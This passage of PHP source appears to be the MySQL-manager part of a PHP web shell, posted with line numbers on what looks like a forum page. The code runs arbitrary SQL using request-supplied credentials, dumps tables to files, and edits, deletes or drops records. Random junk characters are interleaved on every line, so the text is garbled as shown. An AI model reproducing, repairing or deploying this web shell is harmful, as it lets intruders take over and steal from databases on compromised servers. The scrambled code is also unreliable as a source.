  670.         makehide('dbuser');
    ) R/ s7 B7 O. |, S: E: B% x- b
  671.         makehide('dbpass');
    5 ?9 v+ q& H( T+ G; a: ?8 A
  672.         makehide('dbname');' j, s5 a( @0 a  N
  673.         makehide('charset');$ z+ X5 g$ g8 P3 @* ~
  674.         makehide('doing');  W# j# g' r" ]' P) T
  675.         makehide('action','sqlfile');: h" h$ b7 X: V$ ^; E' A) _8 `# U
  676.         p('</form>');- p! l0 l/ F/ S% O4 O% g
  677. }
    6 O2 p- I1 j- C  V# E

  678. 6 u* T, C5 f: h" Z* H/ t
  679. elseif ($action == 'sqladmin') {( [- j: i) @9 s
  680.         !$dbhost && $dbhost = 'localhost';! V' e* d: [6 S: o3 F9 q
  681.         !$dbuser && $dbuser = 'root';
    ( I1 b8 X' I! r- [/ i
  682.         !$dbport && $dbport = '3306';
    3 P" T; l, K: u* _/ A: T1 m! A
  683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';  |7 ]( V0 F' u% |& O: N& G
  684.         if(isset($dbhost)){
    $ n. C  Y" n# M# H9 Y
  685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
    & v0 g7 x8 b* E! p1 ^
  686.         }7 `! x) }; x/ Z# O" c  {
  687.         if(isset($dbuser)) {
    7 `! @6 }2 M- r
  688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";' K0 W  t( y5 D+ l
  689.         }
    1 E' S; I0 ~' q5 f# x
  690.         if(isset($dbpass)) {/ K9 Z. w3 ]) |: o. q5 I
  691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
    6 X9 A/ h2 p4 b0 K: n* g
  692.         }( y1 Y) l9 T# L5 a  }* p
  693.         if(isset($dbport)) {
    ! b0 o0 a: N& z' M* d8 {
  694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
    & }4 A: l, M3 t# s& u5 \% g/ E
  695.         }
    ) e3 s9 y3 q3 @% p
  696.         if(isset($dbname)) {) F: t7 }9 O( j& _  L2 C
  697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";9 o/ X% G+ k4 B3 W, ^3 A
  698.         }7 ]) t  n6 t  Q1 x
  699.         if(isset($charset)) {
    ; J. q) @' k& h9 L# r% K* K& P
  700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";0 H6 ~9 S; W1 o2 i4 S( f
  701.         }
    8 Y, b$ Q2 o1 k& @  e, m) a& N

  702. 7 ~) ~0 A" M( b# F( i
  703.         if ($doing == 'backupmysql' && $saveasfile) {
    # b8 C% @. X, ~
  704.                 if (!$table) {
    " @6 H' N7 v. k# [' P0 Q
  705.                         m('Please choose the table');# |/ a4 L8 Z$ B6 _- L
  706.                 } else {
    % V: F. O! i: s1 A1 g# A
  707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);. x5 |3 k! q1 `# z
  708.                         $table = array_flip($table);$ t' t! U. z& U! L: T2 r; T
  709.                         $fp = @fopen($path,'w');$ ^( s4 Y& ], ~- E) G
  710.                         if ($fp) {% N) R% ?; ~: K* c" x7 @5 U3 \
  711.                                 $result = q('SHOW tables');
    & G7 R6 \# h2 O
  712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');. _$ r0 f3 h2 u( B
  713.                                 $mysqldata = '';
    3 X% z. R; I2 v
  714.                                 while ($currow = mysql_fetch_array($result)) {/ C1 V8 G) T  E, C* {, V( W) _3 v
  715.                                         if (isset($table[$currow[0]])) {: h0 m- g* u8 A3 |2 ]
  716.                                                 sqldumptable($currow[0], $fp);
    ! R+ v% j0 j+ A7 @* |  C
  717.                                         }9 D0 q/ N! q9 V2 x/ M2 n2 X; V
  718.                                 }
    : e% X5 V+ k$ m2 A( ^( M
  719.                                 fclose($fp);
    6 n1 a4 w, Y, E4 ?% k8 Y
  720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
    " i$ v" {0 j% w) U
  721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');+ }4 _9 g2 E* n; B9 a2 h$ F$ P5 r% X
  722.                                 mysql_close();
    & G! |& `6 e+ u# I* O* R
  723.                         } else {1 h+ w' x# }: U" F/ h+ F9 m; F
  724.                                 m('Backup failed');
    8 P, ~) {( i- H
  725.                         }
    ) ]# L2 n' O% A( H
  726.                 }/ f# L! R) P4 I
  727.         }
    % w+ S5 j  [$ \3 ], m
  728.         if ($insert && $insertsql) {0 m' O- C5 _$ ?  ]2 f. V7 ^
  729.                 $keystr = $valstr = $tmp = '';1 B* s& b& ~% g8 _( g# M" D8 Z/ Z
  730.                 foreach($insertsql as $key => $val) {
    8 A! h9 h/ G6 s' T; \9 i2 c
  731.                         if ($val) {2 m. g6 T% W; w: Y/ g5 L6 w" b
  732.                                 $keystr .= $tmp.$key;
    8 O+ U" B' ^. E. U* N9 l7 |3 S
  733.                                 $valstr .= $tmp."'".addslashes($val)."'";- X; u9 e/ |+ {2 X. c+ J
  734.                                 $tmp = ',';9 F; @$ m" G$ r) _
  735.                         }  D$ K8 l2 l. s' [6 ^% S* p- q. g; l
  736.                 }4 u* x! B/ |2 L4 p& W) _
  737.                 if ($keystr && $valstr) {
    * }  o# Q) H- l
  738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    ! N& ~. q' T! a1 s# ]) _
  739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
    4 W& t7 F$ {  Y8 Z4 s+ s+ W. ?( T
  740.                 }) a& \' N5 Q% B3 c! I4 v* Z
  741.         }
      |4 `, Z& [- Y* T
  742.         if ($update && $insertsql && $base64) {3 D, a6 Z# U# D' G! V
  743.                 $valstr = $tmp = '';
    $ k# O1 l3 T+ G
  744.                 foreach($insertsql as $key => $val) {5 i' R1 |. M1 w9 |/ w
  745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";8 F# w1 k4 ?' c7 e4 ~  c
  746.                         $tmp = ',';
    # _- ]# C4 L4 B& [1 S5 l  G
  747.                 }
    ' l3 W  @  U) x, J' ?- c+ y" F
  748.                 if ($valstr) {
    + Y* W) M* ]! D
  749.                         $where = base64_decode($base64);2 S, f! |& c7 b9 \  Q0 J$ P" |& ~
  750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);: o; `4 f4 v- ?) s. n4 Q6 j
  751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
    ( H( b, [# q6 ~, ~
  752.                 }
    , c3 B# @" n9 Z) v! u: \& U
  753.         }
    ! E7 |+ c, b' o# j2 ^
  754.         if ($doing == 'del' && $base64) {% c) T$ P4 h3 F
  755.                 $where = base64_decode($base64);
    % i! \1 Y1 [$ U6 E
  756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";+ T7 N8 N, }/ ]# z
  757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);7 ~1 \. H3 ], t8 ?$ ^7 F
  758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());3 A9 T/ c  e0 b% c
  759.         }! q& ?- i- U# x8 a% h8 Z" t
  760. . |% U6 p# K# B4 g# O5 B$ f
  761.         if ($tablename && $doing == 'drop') {
    5 u; H' c9 s2 f- U+ [6 Q! |) ]
  762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    8 x9 i' C, O+ S( R, q; V4 t
  763.                 if (q("DROP TABLE $tablename")) {
    7 ^1 k/ C& j# @
  764.                         m('Drop table of success');
    # ^) _, H9 N" a; x/ ^
  765.                         $tablename = '';
    * b& d- p( s; x. ?! [! z
  766.                 } else {# J. j/ R, S3 y2 O8 w( ~$ ?9 X/ L* l
  767.                         m(mysql_error());
    $ l& m1 Y; ]& f( V& `
  768.                 }
    ! G8 K* V/ k- Q; W5 l
  769.         }
    ; b& P; E3 |0 e

  770. + F' r0 s9 ^. O8 i4 Y5 V
  771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');: n4 R* j6 b4 _7 \& r8 U. I# ]
  772. 1 ^' S6 C6 |0 s- y& M" W9 ]/ I
  773.         formhead(array('title'=>'MYSQL Manager'));
      x6 J; s/ \$ u7 o8 w+ @  O
  774.         makehide('action','sqladmin');
    6 N  H8 G! p; m2 y  {" K0 Z
  775.         p('<p>');2 h! ~7 W$ D  X) x* i
  776.         p('DBHost:');0 X1 H- ]. S3 b
  777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));1 G* H  c" q5 p* }1 W
  778.         p(':');) s7 e: w6 U" ], g' _* H2 D
  779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));- Q$ e4 n2 l/ l% E& Y) ?- F0 ?
  780.         p('DBUser:');( I& D; G+ q" w/ Y0 K
  781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));' R& M3 {0 J8 R- r1 A0 a
  782.         p('DBPass:');5 W! ]9 ~$ T9 W9 y+ X& ~; C- w
  783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    $ U+ C! j* q$ U4 O9 p
  784.         p('DBCharset:');
    ' j5 k6 L9 D9 c
  785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));" M& Q2 G) \! D* ^
  786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
    ! i, m; J& h: L5 ^$ T
  787.         p('</p>');
    ) S1 B9 c+ j  Q5 g
  788.         formfoot();0 O" z3 J" \5 n$ r5 P/ I
  789. ?>
    3 e$ E; M6 @. f9 A
  790. <script type="text/javascript">
    & g+ k6 ?7 j* D
  791. function editrecord(action, base64, tablename){
    1 _/ U7 Q1 Y" E7 z, q' k; G' w: V. h
  792.         if (action == 'del') {               
    7 x" y( a* y; P4 [
  793.                 if (!confirm('Is or isn\'t deletion record?')) return;5 a) \" C7 w7 w7 u3 s  }1 N
  794.         }) {7 |& X5 n$ ~
  795.         $('recordlist').doing.value=action;
    ( S. J+ S' Y8 F. m
  796.         $('recordlist').base64.value=base64;* r, g3 X, [* ]9 J) o' u8 }
  797.         $('recordlist').tablename.value=tablename;5 w' Z% V8 a! r' l, {
  798.         $('recordlist').submit();; K0 B0 i2 K4 Q; c
  799. }6 o, g) k5 Z+ @) z: K
  800. function moddbname(dbname) {
    * X6 c: }2 s/ s. C5 W
  801.         if(!dbname) return;, \+ p, H3 c; ~; |' C; W7 H! Y  D) f
  802.         $('setdbname').dbname.value=dbname;
    + X. F) Z$ C" |( q4 ^7 n1 n
  803.         $('setdbname').submit();
    & y  h0 ~+ p/ u# S2 F
  804. }3 |: t( G4 T: ]) F
  805. function settable(tablename,doing,page) {0 D5 n5 R3 \9 K* y* |
  806.         if(!tablename) return;; W; Q) A8 T% B# r& k4 m7 E
  807.         if (doing) {
      ^$ e8 J$ ~# `$ q* u$ u
  808.                 $('settable').doing.value=doing;
    1 Z+ W1 a* s4 H
  809.         }
    ( n. C; r! Q: Q2 o. Q/ t
  810.         if (page) {* \3 k4 a" o2 e, a+ K6 H/ K' N3 W
  811.                 $('settable').page.value=page;0 O$ ]9 j4 H( S/ u- |: x: O
  812.         }
    : n( [2 V1 a& d! {; |
  813.         $('settable').tablename.value=tablename;
    / i1 Q# @6 k5 u: L! c& V
  814.         $('settable').submit();6 H2 N. u) x2 ]& X' S% x: {
  815. }# X3 x. c+ [" u: B' A" L, s6 z
  816. </script>; D1 W, W$ z& G
  817. <?php, U2 l. l) ?! U" e
  818.         //操作记录5 x( [. t# s1 T! V! m
  819.         formhead(array('name'=>'recordlist'));
    6 x; v* |% M  j# s- F& |9 b
  820.         makehide('doing');
    . Z2 D# }6 v; c" J0 Y
  821.         makehide('action','sqladmin');! X9 h0 u! a/ y. @+ U( u
  822.         makehide('base64');2 o) F: G% [7 c6 ^/ b
  823.         makehide('tablename');' d  l" m% c& D4 x3 ~0 J0 k0 G
  824.         p($dbform);
    9 S9 D6 \0 S. H( }5 k) B
  825.         formfoot();3 E" z8 R' ~( l, Z
  826.         //选定数据库$ o0 @$ p: H8 p
  827.         formhead(array('name'=>'setdbname'));3 V8 d& p+ P0 |+ p
  828.         makehide('action','sqladmin');
    $ ]/ g9 v. v* K6 |2 b
  829.         p($dbform);8 ~: E2 K% s# J5 Q" N
  830.         if (!$dbname) {1 @9 T( i. k# |+ v9 _- D* l
  831.                 makehide('dbname');
      e" H- A* r4 [0 B2 g
  832.         }
    3 n+ e/ A5 r0 s% T; F
  833.         formfoot();) u) }8 @$ H  s: v7 J
  834.         //选定表
    6 K7 [  }5 v7 o
  835.         formhead(array('name'=>'settable'));0 f& o+ C" f; w! e
  836.         makehide('action','sqladmin');7 T9 h' A4 D4 ^3 j4 s
  837.         p($dbform);
    2 S1 s% z. X* K, O
  838.         makehide('tablename');
      V9 j( P$ F4 O- j0 U
  839.         makehide('page',$page);0 d0 A4 ~( c7 y& y/ D7 N* T/ U
  840.         makehide('doing');
    : D# ?  ]8 h5 C% [
  841.         formfoot();# L) [" @: k8 d& m! p1 H' m" S
  842.         $cachetables = array();        : P) f9 U( s+ q" @: l
  843.         $pagenum = 30;! m" S8 w1 N: z
  844.         $page = intval($page);
    - |- V3 Y6 _( A+ \+ W- [
  845.         if($page) {
    9 b/ H' q4 R; ^" Z2 D  |# [
  846.                 $start_limit = ($page - 1) * $pagenum;
    0 `& t3 r) m7 U8 b, r; a$ S( N
  847.         } else {
      Y: Y' d  T; U+ x6 u/ ~/ ^
  848.                 $start_limit = 0;
    " W0 i: I5 Q8 M" c: S, b8 Y+ v4 t
  849.                 $page = 1;
    6 C; s& s! _' Z; B9 G, K
  850.         }; `% U3 T7 C+ X2 z2 U
  851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
    ) L2 u+ N! a& }# x! [
  852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    ! ^$ t# v& |6 e8 w
  853.                 //获取数据库信息* L/ i: W( l/ |' b
  854.                 $mysqlver = mysql_get_server_info();
    , @6 t% C1 |  s9 A9 P4 M
  855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
    1 U" t" ]. \- q- y. o
  856.                 $highver = $mysqlver > '4.1' ? 1 : 0;+ k% a" m0 ?# a
  857.                 //获取数据库
    2 E/ N. Z) s# R3 |* }
  858.                 $query = q("SHOW DATABASES");
    + S" w3 u8 P( [5 y1 m
  859.                 $dbs = array();3 t4 e6 }8 V% p' C5 D
  860.                 $dbs[] = '-- Select a database --';
    " U. X$ s! o- h) p
  861.                 while($db = mysql_fetch_array($query)) {
    ) j+ Y2 W, O6 F- d; S( u
  862.                         $dbs[$db['Database']] = $db['Database'];
    6 ?$ i" G, |0 g* t, o
  863.                 }9 L2 Y7 `: u: ~8 h, o
  864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));. `: p! b. P0 c/ d
  865.                 $tabledb = array();
    0 d2 ^/ ^7 A; v& _) ?
  866.                 if ($dbname) {( R; Y" ]! h$ j4 L# M* ^( w" W
  867.                         p('<p>');
    9 O7 m6 }1 O4 p# \* l" Q8 g
  868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
    + {, l4 ~3 j- n2 e" \* U; N
  869.                         if ($tablename) {7 B" H6 b/ t* F4 Q) q& g# L6 m
  870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');9 u2 ~3 X. ]9 S$ ^
  871.                         }
    8 t+ w6 |4 k) @) Y5 l
  872.                         p('</p>');
    ' f4 k5 k4 U& l. Q& Q
  873.                         mysql_select_db($dbname);
    ; s6 e% e; f7 K
  874.                         $getnumsql = '';3 {7 M2 h1 C1 v) W; c
  875.                         $runquery = 0;
    0 N3 }7 k( H1 D& T1 P' z' g7 r
  876.                         if ($sql_query) {! m8 i; ?0 v2 ]6 X/ c
  877.                                 $runquery = 1;
    " y& x8 i/ T3 x
  878.                         }- o2 l  }% m4 q
  879.                         $allowedit = 0;
    4 t. G% c: Z; s0 D. n% m
  880.                         if ($tablename && !$sql_query) {. y& e! C0 n1 n) u: f3 n
  881.                                 $sql_query = "SELECT * FROM $tablename";8 z1 K+ w0 \/ W6 X( f; ^+ d
  882.                                 $getnumsql = $sql_query;5 M; A  F; h! I3 n) a  w
  883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";+ M. w: q+ m/ J1 u3 K1 L
  884.                                 $allowedit = 1;
    ! A: e! D( P( W; ^& r' d! Q
  885.                         }+ p/ R( x$ x+ E
  886.                         p('<form action="'.$self.'" method="POST">');, ?' n4 T2 A  J# M' ^% H/ i4 g% I
  887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');& f( [& K# l# m6 M  P4 t
  888.                         makehide('tablename', $tablename);
    ' v7 c- H! _$ l# F
  889.                         makehide('action','sqladmin');
    # N4 w. F1 M0 f' `' E
  890.                         p($dbform);, ?; W! k# j6 c2 j1 C3 u1 Q
  891.                         p('</form>');
    / ?# T* T( G! D9 N! S- ?1 c* g
  892.                         if ($tablename || ($runquery && $sql_query)) {
    9 j+ b, {- {' w+ `, t- \4 Y7 C
  893.                                 if ($doing == 'structure') {- q$ _2 P, p  r" @3 X+ ?9 C' |# P& t$ N
  894.                                         $result = q("SHOW COLUMNS FROM $tablename");, n6 s. y: ~; S( R0 ~+ {
  895.                                         $rowdb = array();7 n+ l( |3 y# {2 t
  896.                                         while($row = mysql_fetch_array($result)) {
    # F, f% M! Z2 g) |" j
  897.                                                 $rowdb[] = $row;
    : B5 u* \0 m, h. h' k* l0 K
  898.                                         }
    ( _5 k* a0 K$ @
  899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');0 Y% S2 G. \# _6 y/ k1 U' t& ^, J- W
  900.                                         p('<tr class="head">');- h7 C1 q: y: W; J4 `( ~$ m" }
  901.                                         p('<td>Field</td>');
    : C  s" R( U/ J8 R
  902.                                         p('<td>Type</td>');# o" q; j+ g; W) j3 C9 S' k. l
  903.                                         p('<td>Null</td>');
    2 p& z& L' s0 |8 N. R
  904.                                         p('<td>Key</td>');
    , s5 I- Y2 I6 \3 Z  I5 P0 Z
  905.                                         p('<td>Default</td>');  C+ Y8 D: ~& [2 O- u! r
  906.                                         p('<td>Extra</td>');
    % z4 C- M+ s- ^. l. S: Z8 @5 c
  907.                                         p('</tr>');3 f# \9 e+ R: n4 x% F
  908.                                         foreach ($rowdb as $row) {
    ) m2 u$ }' y4 D, s: p' ~- k5 h* l3 p
  909.                                                 $thisbg = bg();" A* m+ y' q, I% H
  910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');7 s0 [7 S1 b: M1 C
  911.                                                 p('<td>'.$row['Field'].'</td>');
    6 x/ s! P2 p; v6 `! k5 O4 P
  912.                                                 p('<td>'.$row['Type'].'</td>');$ _) T8 j. F6 w6 p. T/ L% [
  913.                                                 p('<td>'.$row['Null'].' </td>');/ V$ \5 x, @* n; `) P8 ]! [
  914.                                                 p('<td>'.$row['Key'].' </td>');4 W% d+ l1 w/ }' w# S( B: O- X8 J
  915.                                                 p('<td>'.$row['Default'].' </td>');
    9 h6 s/ l/ k' D! J  i. G
  916.                                                 p('<td>'.$row['Extra'].' </td>');) C! _* N3 Q9 Y$ }
  917.                                                 p('</tr>');
    ( X* ~' N+ r9 I4 [) ^
  918.                                         }
    & f  R: _# v* Y- S2 p' A# t
  919.                                         tbfoot();
    * A: b4 W, i$ c6 [" v
  920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
    % [. c/ m. U3 S* s$ z; {
  921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
    ( Z2 L; T( r% Q  @
  922.                                         while ($row = mysql_fetch_array($result)) {1 i9 Y9 s+ O' P+ ?/ Q/ C/ L% X1 Q
  923.                                                 $rowdb[] = $row;
    / l+ F" E( z" Z) G
  924.                                         }2 L: K  M" I' C$ P
  925.                                         $rs = array();9 _% w1 @; ^. B* D0 b
  926.                                         if ($doing == 'insert') {
    . D! |1 M. b: @
  927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
    ' |$ n) y& p; c" ?
  928.                                         } else {9 c& z9 k; B" D4 l/ T( S) T
  929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
    ( E$ }3 j& l6 v
  930.                                                 $where = base64_decode($base64);
    6 X% L2 r1 Z7 M: i, ?3 U
  931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
    ! D# W; @1 x% \4 o% `
  932.                                                 $rs = mysql_fetch_array($result);$ i7 G! i* }. o/ T- K7 p
  933.                                         }
    , z- Q( L* c" n4 f. A6 m
  934.                                         p('<form method="post" action="'.$self.'">');- y# c- Y7 T9 G; Y. [4 y" }
  935.                                         p($dbform);
    ; I& j2 t4 @' e" c( y' d- k' c$ r, a
  936.                                         makehide('action','sqladmin');
    5 l1 @9 [* i4 |/ d! v3 E8 y
  937.                                         makehide('tablename',$tablename);# z: y: L. _6 ]; `3 d
  938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');. O# g$ R( |! Q6 A! `
  939.                                         foreach ($rowdb as $row) {: l1 X; _; O, f9 K
  940.                                                 if ($rs[$row['Field']]) {0 l; P  q% f5 ]+ W
  941.                                                         $value = htmlspecialchars($rs[$row['Field']]);
    ( N4 s5 \+ g/ R- t4 \. p
  942.                                                 } else {
    + q0 |2 j" `9 w1 q7 l6 d
  943.                                                         $value = '';; M3 `; _* q8 B9 R3 a% s' o
  944.                                                 }9 A8 g" p* F/ `6 T, G* ^
  945.                                                 $thisbg = bg();. R. V' f& Q/ r& N. h) j* ?2 A
  946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    # `3 m# c  n7 o/ k3 t* b
  947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
    % c$ _% C- B$ z" C, ], m: `) G
  948.                                         }- T- z; l  y. H7 {) A  z& f
  949.                                         if ($doing == 'insert') {
    7 s: r) h( n) J& |
  950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');( A6 I( M- @2 q4 w8 _
  951.                                         } else {0 H, C" I+ d: e$ {. U! N, N
  952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');  V6 Q1 |( p5 o6 Z2 k
  953.                                                 makehide('base64', $base64);. a* s5 w) c" P) _
  954.                                         }
    3 ?. x  |; q0 \
  955.                                         p('</table></form>');! w. \2 d; x5 M0 ~/ ?
  956.                                 } else {
    7 x; d* e* M: w
  957.                                         $querys = @explode(';',$sql_query);/ J1 U8 ^+ K  c5 P$ D
  958.                                         foreach($querys as $num=>$query) {
    7 l  ]) X( g+ T" k/ R( Z
  959.                                                 if ($query) {
    $ {' o' h% i+ }& Z" `; g
  960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
    3 q) e1 E: @6 K% ]  P" G/ w
  961.                                                         switch(qy($query))
    ) m$ q! c" U* m8 l
  962.                                                         {
    ' J2 u# G9 D/ e, A* p& M  A
  963.                                                                 case 0:
    & t$ S1 @4 ~1 g2 x& B
  964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
    . {3 t9 W8 z/ h% x& `' `
  965.                                                                         break;       
    ) z! M5 Y8 E* u; F  @& w0 X- K
  966.                                                                 case 1:
    7 a- o" k' ~3 I0 U9 D5 t) c" I4 Z& d7 a
  967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {4 ^, L/ H8 t. V- h& ^
  968.                                                                                 $allowedit = 1;) f4 D8 a& L! Q6 y7 |
  969.                                                                         }& m+ m" o* S& V- H3 D3 r
  970.                                                                         if ($getnumsql) {
    * ^; J6 U) H; j3 a' V1 S; Q$ \
  971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));* F/ {( k4 O( ]3 Q3 u
  972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
    8 X' B. L' T5 N" e: q
  973.                                                                         }
    " a- f& A& C6 p. J: g1 _* K2 R- _3 n0 i
  974.                                                                         if (!$tablename) {
    6 N$ G/ d: V' i4 x
  975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
    6 U( z, z, p' w- P# X
  976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
    . `& V- X; i9 s" e& d: Z* u7 h7 I
  977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
    1 f  V; D, x) m5 w2 b9 w. S" f
  978.                                                                                 $tablename = $matches[1][0];
    . A$ Y' p  b" j# o' Y, K8 b; D
  979.                                                                         }% i; ?. R) F5 b; k2 E0 k
  980.                                                                         $result = q($query);
    . {. A2 T" q' m8 N& m  S' w
  981.                                                                         p($multipage);( O; R1 B$ @( c$ C# j* ?* p  a/ c
  982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');1 m5 ]; ?/ F2 E% P3 r4 a# r
  983.                                                                         p('<tr class="head">');
    - U3 E1 u- i0 Q" S9 |; O; w3 f- P7 }
  984.                                                                         if ($allowedit) p('<td>Action</td>');9 _; G3 W" b2 s* V9 I" y& m
  985.                                                                         $fieldnum = @mysql_num_fields($result);
    & l$ }  j6 f" }! I/ D
  986.                                                                         for($i=0;$i<$fieldnum;$i++){
    ; f0 q& z; [& F. \* m- E
  987.                                                                                 $name = @mysql_field_name($result, $i);- y1 \, S7 r4 Q0 E
  988.                                                                                 $type = @mysql_field_type($result, $i);+ Q& n3 y+ y8 x3 u
  989.                                                                                 $len = @mysql_field_len($result, $i);9 K0 [9 {+ h# |
  990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");8 N- _$ j/ v# t4 j$ y% b6 M+ q( V
  991.                                                                         }
    8 b# q, f1 z- d/ u! x3 N5 j
  992.                                                                         p('</tr>');
    % u5 |0 [" E9 ?( X( T) t
  993.                                                                         while($mn = @mysql_fetch_assoc($result)){$ F* F% M* S2 E. s0 e4 c
  994.                                                                                 $thisbg = bg();  w) f1 P1 i9 [9 K/ I% u2 S
  995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');8 c* h$ B$ R+ E! Z  a, ?
  996.                                                                                 $where = $tmp = $b1 = '';/ t: c: P. H' k, k8 _
  997.                                                                                 foreach($mn as $key=>$inside){0 i4 M+ e+ U  W  s. q
  998.                                                                                         if ($inside) {# f% W0 u9 e! G% r* A
  999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
    3 X/ [1 R1 W* S9 i0 }  i
  1000.                                                                                                 $tmp = ' AND ';
      T* @) o' a0 p* Q/ ]
  1001.                                                                                         }$ k/ i! K8 n: O
  1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';5 U  \  g$ t4 V; S2 m; L
  1003.                                                                                 }
    $ x: o0 A$ o: x' w9 h3 R; F
  1004.                                                                                 $where = base64_encode($where);) l2 {0 u0 s- k$ `
  1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');3 ?% m' T# x4 Q/ L
  1006.                                                                                 p($b1);4 W# F, _$ Z2 o* f- B# |- {( i
  1007.                                                                                 p('</tr>');
    : u. m2 Q) t" F3 D* H7 R: _
  1008.                                                                                 unset($b1);
    & o& |$ t# B3 Z% k( D1 i
  1009.                                                                         }; _5 g, ?4 h/ i' L6 F* @" T
  1010.                                                                         tbfoot();
      k6 Z+ a4 K' L1 e! S
  1011.                                                                         p($multipage);  |( x7 ]2 d2 \' a1 j& Z
  1012.                                                                         break;        3 p" |- J$ {7 R/ |
  1013.                                                                 case 2:
    ' [$ x0 m7 d2 n* ^
  1014.                                                                         $ar = mysql_affected_rows();0 @: J1 ]1 G8 A' {- y
  1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');
    : R9 L" c/ ]1 [8 }1 ]: d4 {
  1016.                                                                         break;2 z, m. P& _7 L6 ]! P+ {" W
  1017.                                                         }
    ' k! E7 n9 v! ]
  1018.                                                 }
    9 e4 R2 @0 u; q$ t  G1 C
  1019.                                         }
    : u" ]. V2 D5 F
  1020.                                 }
    3 B! ?4 \; `. V- e: {5 I% l! p
